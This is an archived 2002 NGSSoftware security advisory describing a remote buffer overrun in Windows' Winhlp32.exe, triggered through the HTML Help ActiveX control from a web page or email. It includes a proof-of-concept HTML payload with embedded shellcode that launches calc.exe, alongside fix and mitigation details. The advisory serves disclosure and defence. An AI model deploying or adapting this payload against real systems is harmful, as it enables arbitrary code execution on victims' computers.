OSEC

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From: Next Generation Insight Security Research Team (mark_at_NGSSOFTWARE.COM)
Date: Thu Aug 01 2002 - 21:41:08 CDT

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    NGSSoftware Insight Security Research Advisory

    Name: Winhlp32.exe Remote BufferOverrun
    Systems Affected: Win2K Platform
    Severity: Critical
    Category: Remote Buffer Overrun
    Vendor URL: http://www.mircosoft.com
    Author: Mark Litchfield (markngssoftware.com)
    Date: 1st August 2002
    Advisory number: #NISR01082002

    Description
    ***********

    Many of the features available in HTML Help are implemented through the HTML
    Help ActiveX control (HHCtrl.ocx). The HTML Help ActiveX control is used to
    provide navigation features (such as a table of contents), to display
    secondary windows and pop-up definitions, and to provide other features. The
    HTML Help ActiveX control can be used from topics in a compiled Help system
    as well as from HTML pages displayed in a Web browser. The functionality
    provided by the HTML Help ActiveX control will run in the HTML Help Viewer
    or in any browser that supports ActiveX technology, such as Internet
    Explorer (version 3.01 or later). Some features, as with the WinHlp Command,
    provided by the HTML Help ActiveX control are meant to be available only
    when it is used from a compiled HTML Help file (.chm) that is displayed by
    using the HTML Help Viewer.

    Details
    *******

    Winhlp32.exe is vulnerable to a bufferoverrun attack using the Item
    parameter within WinHlp Command, the item parameter is used to specify the
    file path of the WinHelp (.hlp) file in which the WinHelp topic is stored,
    and the window name of the target window. Using this overrun, an attacker
    can successfully exectute arbitary code on a remote system by either
    encouraging the victim to visit a particular web page, whereby code would
    execute automatically, or by including the exploit within the source of an
    email. In regards to email, execution would automatically occur when the
    mail appears in the preview pane and ActiveX objects are allowed (This is
    allowed by default, the Internet Security Settings would have to be set as
    HIGH to prevent execution of this vulnerability). Any exploit would execute
    in the context of the logged on user.

    Visual POC Exploit
    ******************

    <OBJECT classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11
    codeBase=hhctrl.ocx#Version=4,72,8252,0 height=0 id=winhelp
    type=application/x-oleobject width=0><PARAM NAME="Width" VALUE="26"><PARAM
    NAME="Height" VALUE="26"><PARAM NAME="Command" VALUE="WinHelp"><PARAM
    NAME="Item1"
    VALUE="3ĄPhcalc4$&#402;Ą&#1;PVøÆ§éw’Š3ĄP¾&#8221;éw’ÖAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    ABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTT
    AAAA&#11;©õwABCDEFGH&#402;Ę&#21;’ęgMyWindow"><PARAM NAME="Item2" VALUE="NGS
    Software LTD"></OBJECT>
    <SCRIPT>winhelp.HHClick()</SCRIPT>

    Fix Information
    ***************

    NGSSoftware alerted Microsoft to these problems on the 6th March 2002.
    NGSSoftware highly recommend installing Microsoft Windows SP3, as the fix
    has been built into this service pack found at http://www.microsoft.com
    An alternative to these patches would be to ensure the security settings
    found in the Internet Options is set to high. Despite the Medium setting,
    stating that unsigned ActiveX controls will not be downloaded, Kylie will
    still execute Calc.exe. Another alternative would be to remove winhlp32.exe
    if it is not required within your environment.
    A check for these issues has been added to Typhon II, of which more
    information is available from the
    NGSSoftware website, http://www.ngssoftware.com.

    Further Information
    *******************

    For further information about the scope and effects of buffer overflows,
    please see

    http://www.ngssoftware.com/papers/non-stack-bo-windows.pdf
    http://www.ngssoftware.com/papers/ntbufferoverflow.html
    http://www.ngssoftware.com/papers/bufferoverflowpaper.rtf
    http://www.ngssoftware.com/papers/unicodebo.pdf